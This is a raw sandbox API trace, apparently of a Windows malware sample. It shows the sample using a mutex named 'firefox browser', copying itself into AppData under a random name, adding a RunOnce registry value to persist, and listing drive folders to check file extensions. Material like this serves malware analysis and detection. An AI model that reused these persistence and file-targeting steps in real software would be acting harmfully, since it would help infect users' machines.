NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.261] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc [0035.262] DestroyWindow (hWnd=0x30228) returned 1 [0035.262] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200 [0035.262] DestroyWindow (hWnd=0x30228) returned 1 [0035.262] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204 [0035.263] DestroyWindow (hWnd=0x30228) returned 1 [0035.263] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0035.267] DestroyWindow (hWnd=0x30228) returned 1 [0035.268] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c [0035.268] DestroyWindow (hWnd=0x30228) returned 1 [0035.268] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210 [0035.269] DestroyWindow (hWnd=0x30228) returned 1 [0035.269] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214 [0035.270] DestroyWindow (hWnd=0x30228) returned 1 [0035.270] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0035.271] DestroyWindow (hWnd=0x30228) returned 1 [0035.271] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c [0035.271] DestroyWindow (hWnd=0x30228) returned 1 [0035.272] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220 [0035.272] DestroyWindow (hWnd=0x30228) returned 1 [0035.272] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224 [0035.273] DestroyWindow (hWnd=0x30228) returned 1 [0035.273] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228 [0035.274] DestroyWindow (hWnd=0x30228) returned 1 [0035.274] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c [0035.274] DestroyWindow (hWnd=0x30228) returned 1 [0035.274] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0035.275] DestroyWindow (hWnd=0x30228) returned 1 Thread: id = 4 os_tid = 0xd64 [0035.246] SendMessageW (hWnd=0x30228, Msg=0x2, wParam=0x0, lParam=0x0) returned 0xdeadbeef [0035.292] RtlExitUserThread (Status=0x0) Thread: id = 5 os_tid = 0xd38 [0035.297] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x1b4 [0035.297] GetLastError () returned 0x0 [0035.297] GetLastError () returned 0x0 [0035.297] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x40) returned 0x480000 [0035.330] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x480000, nSize=0x100 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bi35.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bi35.exe")) returned 0x26 [0035.330] GetTempPathW (in: nBufferLength=0x100, lpBuffer=0x480202 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25 [0035.330] lstrlenW (lpString="PRIDUR") returned 6 [0035.330] CryptAcquireContextW (in: phProv=0x254ff3c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x254ff3c*=0x566128) returned 1 [0035.556] VirtualAlloc (lpAddress=0x0, dwSize=0x7, flAllocationType=0x3000, flProtect=0x40) returned 0x510000 [0035.557] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0035.557] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0035.557] CryptGenRandom (in: hProv=0x566128, dwLen=0x6, pbBuffer=0x510000 | out: pbBuffer=0x510000) returned 1 [0035.557] CryptReleaseContext (hProv=0x566128, dwFlags=0x0) returned 1 [0035.557] VirtualFree (lpAddress=0x510000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0035.557] GetEnvironmentVariableW (in: lpName="AppData", lpBuffer=0x480202, nSize=0x100 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned 0x25 [0035.557] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\Microsoft\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0035.557] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="tubcvd" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd" [0035.557] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd", lpString2=".exe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" [0035.557] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bi35.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bi35.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0035.557] GetFileSize (in: hFile=0x2cc, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x20200 [0035.557] CreateFileMappingW (hFile=0x2cc, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x2d8 [0035.557] MapViewOfFile (hFileMappingObject=0x2d8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x950000 [0035.557] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2dc [0035.558] WriteFile (in: hFile=0x2dc, lpBuffer=0x950000*, nNumberOfBytesToWrite=0x20200, lpNumberOfBytesWritten=0x254ff18, lpOverlapped=0x0 | out: lpBuffer=0x950000*, lpNumberOfBytesWritten=0x254ff18*=0x20200, lpOverlapped=0x0) returned 1 [0035.560] CloseHandle (hObject=0x2dc) returned 1 [0035.562] UnmapViewOfFile (lpBaseAddress=0x950000) returned 1 [0035.563] CloseHandle (hObject=0x2d8) returned 1 [0035.563] CloseHandle (hObject=0x2cc) returned 1 [0035.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 58 [0035.563] wsprintfW (in: param_1=0x480404, param_2="\"%s\"" | out: param_1="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 60 [0035.563] lstrlenW (lpString="PRIDURASHKA") returned 11 [0035.563] CryptAcquireContextW (in: phProv=0x254fea4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x254fea4*=0x566128) returned 1 [0035.563] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x40) returned 0x510000 [0035.564] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0035.564] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0035.564] CryptGenRandom (in: hProv=0x566128, dwLen=0xb, pbBuffer=0x510000 | out: pbBuffer=0x510000) returned 1 [0035.564] CryptReleaseContext (hProv=0x566128, dwFlags=0x0) returned 1 [0035.564] VirtualFree (lpAddress=0x510000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0035.564] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x254ff44, lpdwDisposition=0x0 | out: phkResult=0x254ff44*=0x2d8, lpdwDisposition=0x0) returned 0x0 [0035.564] lstrlenW (lpString="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 60 [0035.564] RegSetValueExW (in: hKey=0x2d8, lpValueName="uxdfnpsuzlo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"", cbData=0x78 | out: lpData="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe\"") returned 0x0 [0035.565] RegCloseKey (hKey=0x2d8) returned 0x0 [0035.565] RtlExitUserThread (Status=0x0) Thread: id = 6 os_tid = 0xcf0 [0035.439] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x254 [0035.439] GetLastError () returned 0xb7 [0035.439] GetLastError () returned 0xb7 [0035.439] RtlExitUserThread (Status=0x0) Thread: id = 7 os_tid = 0xce4 [0035.439] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x258 [0035.439] GetLastError () returned 0xb7 [0035.440] GetLastError () returned 0xb7 [0035.440] RtlExitUserThread (Status=0x0) Thread: id = 8 os_tid = 0xd88 [0035.440] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x25c [0035.440] GetLastError () returned 0xb7 [0035.440] GetLastError () returned 0xb7 [0035.440] RtlExitUserThread (Status=0x0) Thread: id = 9 os_tid = 0x9c4 [0035.441] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x260 [0035.441] GetLastError () returned 0xb7 [0035.441] GetLastError () returned 0xb7 [0035.441] RtlExitUserThread (Status=0x0) Thread: id = 10 os_tid = 0xdb8 [0035.441] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x264 [0035.441] GetLastError () returned 0xb7 [0035.441] GetLastError () returned 0xb7 [0035.441] RtlExitUserThread (Status=0x0) Thread: id = 11 os_tid = 0xd80 [0035.442] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x268 [0035.442] GetLastError () returned 0xb7 [0035.442] GetLastError () returned 0xb7 [0035.442] RtlExitUserThread (Status=0x0) Thread: id = 12 os_tid = 0xd7c [0035.442] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x26c [0035.442] GetLastError () returned 0xb7 [0035.442] GetLastError () returned 0xb7 [0035.442] RtlExitUserThread (Status=0x0) Thread: id = 13 os_tid = 0xbec [0035.443] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x270 [0035.443] GetLastError () returned 0xb7 [0035.443] GetLastError () returned 0xb7 [0035.443] RtlExitUserThread (Status=0x0) Thread: id = 14 os_tid = 0xd60 [0035.443] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x274 [0035.443] GetLastError () returned 0xb7 [0035.443] GetLastError () returned 0xb7 [0035.443] RtlExitUserThread (Status=0x0) Thread: id = 15 os_tid = 0xd5c [0035.444] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x278 [0035.444] GetLastError () returned 0xb7 [0035.444] GetLastError () returned 0xb7 [0035.444] RtlExitUserThread (Status=0x0) Thread: id = 16 os_tid = 0xd34 [0035.444] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x27c [0035.445] GetLastError () returned 0xb7 [0035.445] GetLastError () returned 0xb7 [0035.445] RtlExitUserThread (Status=0x0) Thread: id = 17 os_tid = 0xd3c [0035.445] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x280 [0035.445] GetLastError () returned 0xb7 [0035.445] GetLastError () returned 0xb7 [0035.445] RtlExitUserThread (Status=0x0) Thread: id = 18 os_tid = 0x568 [0035.446] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x284 [0035.446] GetLastError () returned 0xb7 [0035.446] GetLastError () returned 0xb7 [0035.446] RtlExitUserThread (Status=0x0) Thread: id = 19 os_tid = 0xcec [0035.446] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x288 [0035.446] GetLastError () returned 0xb7 [0035.446] GetLastError () returned 0xb7 [0035.446] RtlExitUserThread (Status=0x0) Thread: id = 20 os_tid = 0xcd8 [0035.447] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x28c [0035.447] GetLastError () returned 0xb7 [0035.447] GetLastError () returned 0xb7 [0035.447] RtlExitUserThread (Status=0x0) Thread: id = 21 os_tid = 0xdc0 [0035.447] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x290 [0035.447] GetLastError () returned 0xb7 [0035.447] GetLastError () returned 0xb7 [0035.447] RtlExitUserThread (Status=0x0) Thread: id = 22 os_tid = 0x250 [0035.448] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x294 [0035.448] GetLastError () returned 0xb7 [0035.448] GetLastError () returned 0xb7 [0035.448] RtlExitUserThread (Status=0x0) Thread: id = 23 os_tid = 0x278 [0035.448] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x298 [0035.448] GetLastError () returned 0xb7 [0035.448] GetLastError () returned 0xb7 [0035.448] RtlExitUserThread (Status=0x0) Thread: id = 24 os_tid = 0x9d8 [0035.449] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x29c [0035.449] GetLastError () returned 0xb7 [0035.449] GetLastError () returned 0xb7 [0035.449] RtlExitUserThread (Status=0x0) Thread: id = 25 os_tid = 0xd00 [0035.450] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2a0 [0035.450] GetLastError () returned 0xb7 [0035.450] GetLastError () returned 0xb7 [0035.450] RtlExitUserThread (Status=0x0) Thread: id = 26 os_tid = 0xcf4 [0035.450] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2a4 [0035.450] GetLastError () returned 0xb7 [0035.450] GetLastError () returned 0xb7 [0035.450] RtlExitUserThread (Status=0x0) Thread: id = 27 os_tid = 0xd40 [0035.451] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2a8 [0035.451] GetLastError () returned 0xb7 [0035.451] GetLastError () returned 0xb7 [0035.451] RtlExitUserThread (Status=0x0) Thread: id = 28 os_tid = 0xcfc [0035.453] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2ac [0035.453] GetLastError () returned 0xb7 [0035.453] GetLastError () returned 0xb7 [0035.453] RtlExitUserThread (Status=0x0) Thread: id = 29 os_tid = 0xcf8 [0035.454] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2b0 [0035.454] GetLastError () returned 0xb7 [0035.454] GetLastError () returned 0xb7 [0035.454] RtlExitUserThread (Status=0x0) Thread: id = 30 os_tid = 0xd44 [0035.455] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2b4 [0035.455] GetLastError () returned 0xb7 [0035.455] GetLastError () returned 0xb7 [0035.455] RtlExitUserThread (Status=0x0) Thread: id = 31 os_tid = 0xd4c [0035.455] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2b8 [0035.455] GetLastError () returned 0xb7 [0035.455] GetLastError () returned 0xb7 [0035.455] RtlExitUserThread (Status=0x0) Thread: id = 32 os_tid = 0x818 [0035.456] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2bc [0035.456] GetLastError () returned 0xb7 [0035.456] GetLastError () returned 0xb7 [0035.456] RtlExitUserThread (Status=0x0) Thread: id = 33 os_tid = 0xf0 [0035.456] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2c0 [0035.456] GetLastError () returned 0xb7 [0035.456] GetLastError () returned 0xb7 [0035.456] RtlExitUserThread (Status=0x0) Thread: id = 34 os_tid = 0x210 [0035.457] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2c4 [0035.457] GetLastError () returned 0xb7 [0035.457] GetLastError () returned 0xb7 [0035.457] RtlExitUserThread (Status=0x0) Thread: id = 35 os_tid = 0x46c [0035.457] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="firefox browser") returned 0x2c8 [0035.457] GetLastError () returned 0xb7 [0035.457] GetLastError () returned 0xb7 [0035.458] RtlExitUserThread (Status=0x0) Thread: id = 36 os_tid = 0xe00 Thread: id = 37 os_tid = 0xdf8 Thread: id = 38 os_tid = 0xdf4 Thread: id = 45 os_tid = 0xdac [0052.486] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2710000 [0052.487] wsprintfW (in: param_1=0x2710000, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0052.487] VirtualAlloc (lpAddress=0x0, dwSize=0x9c40, flAllocationType=0x3000, flProtect=0x4) returned 0x2720000 [0052.488] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.488] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.489] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.489] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.489] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.489] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.489] lstrlenW (lpString="C:\\") returned 3 [0052.489] lstrcatW (in: lpString1="C:\\", lpString2="*" | out: lpString1="C:\\*") returned="C:\\*" [0052.489] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 0x588b20 [0052.490] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0052.490] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0052.490] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0052.490] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0052.490] lstrcmpW (lpString1=".Bin", lpString2=".sql") returned -1 [0052.490] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.490] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0052.490] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0052.490] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0052.490] lstrlenW (lpString="C:\\Boot") returned 7 [0052.490] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.490] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0052.490] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0052.490] lstrcatW (in: lpString1="C:\\", lpString2="bootmgr" | out: lpString1="C:\\bootmgr") returned="C:\\bootmgr" [0052.490] lstrlenW (lpString="C:\\bootmgr") returned 10 [0052.490] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.490] lstrcmpW (lpString1="BOOTNXT", lpString2=".") returned 1 [0052.490] lstrcmpW (lpString1="BOOTNXT", lpString2="..") returned 1 [0052.490] lstrcatW (in: lpString1="C:\\", lpString2="BOOTNXT" | out: lpString1="C:\\BOOTNXT") returned="C:\\BOOTNXT" [0052.490] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0052.490] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.490] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0052.490] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0052.490] lstrcatW (in: lpString1="C:\\", lpString2="BOOTSECT.BAK" | out: lpString1="C:\\BOOTSECT.BAK") returned="C:\\BOOTSECT.BAK" [0052.490] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0052.490] lstrcmpW (lpString1=".BAK", lpString2=".sql") returned -1 [0052.490] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.490] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0052.490] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0052.490] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0052.490] lstrlenW (lpString="C:\\Documents and Settings") returned 25 [0052.490] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.490] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0052.490] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0052.490] lstrcatW (in: lpString1="C:\\", lpString2="hiberfil.sys" | out: lpString1="C:\\hiberfil.sys") returned="C:\\hiberfil.sys" [0052.490] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0052.490] lstrcmpW (lpString1=".sys", lpString2=".sql") returned 1 [0052.490] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.490] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0052.490] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0052.490] lstrcatW (in: lpString1="C:\\", lpString2="pagefile.sys" | out: lpString1="C:\\pagefile.sys") returned="C:\\pagefile.sys" [0052.490] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0052.490] lstrcmpW (lpString1=".sys", lpString2=".sql") returned 1 [0052.490] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.490] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0052.490] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0052.490] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0052.490] lstrlenW (lpString="C:\\PerfLogs") returned 11 [0052.490] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.490] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0052.490] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0052.490] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0052.490] lstrlenW (lpString="C:\\Program Files") returned 16 [0052.491] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.491] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0052.491] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0052.491] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0052.491] lstrlenW (lpString="C:\\Program Files (x86)") returned 22 [0052.491] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.491] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0052.491] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0052.491] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0052.491] lstrlenW (lpString="C:\\ProgramData") returned 14 [0052.491] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.491] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0052.491] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0052.491] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0052.491] lstrlenW (lpString="C:\\Recovery") returned 11 [0052.491] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0052.491] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0052.491] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0052.491] lstrcatW (in: lpString1="C:\\", lpString2="swapfile.sys" | out: lpString1="C:\\swapfile.sys") returned="C:\\swapfile.sys" [0052.491] lstrlenW 